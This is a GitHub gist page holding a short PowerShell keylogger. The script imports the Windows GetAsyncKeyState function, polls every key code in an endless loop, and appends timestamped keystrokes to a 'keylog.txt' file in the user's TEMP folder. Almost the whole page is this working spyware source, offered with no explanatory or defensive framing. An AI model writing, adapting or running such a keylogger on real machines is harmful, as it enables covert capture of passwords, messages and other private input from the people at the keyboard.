Skip to content

Instantly share code, notes, and snippets.

@justaguywhocodes
Last active November 20, 2025 19:08
Show Gist options
  • Select an option

  • Save justaguywhocodes/be565c9cc3747823b765dfcaf086503d to your computer and use it in GitHub Desktop.

Select an option

Save justaguywhocodes/be565c9cc3747823b765dfcaf086503d to your computer and use it in GitHub Desktop.
Add-Type @'
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
}
'@
$logFile = "$env:TEMP\keylog.txt"
while ($true) {
Start-Sleep -Milliseconds 40
for ($i = 8; $i -le 254; $i++) {
$state = [Win32]::GetAsyncKeyState($i)
# Test if key is pressed (bit 15 = currently pressed)
if ($state -band 0x8000) {
$key = [System.Windows.Forms.Keys]$i
"[$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') ] $key" | Out-File -FilePath $logFile -Append -Encoding ascii
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment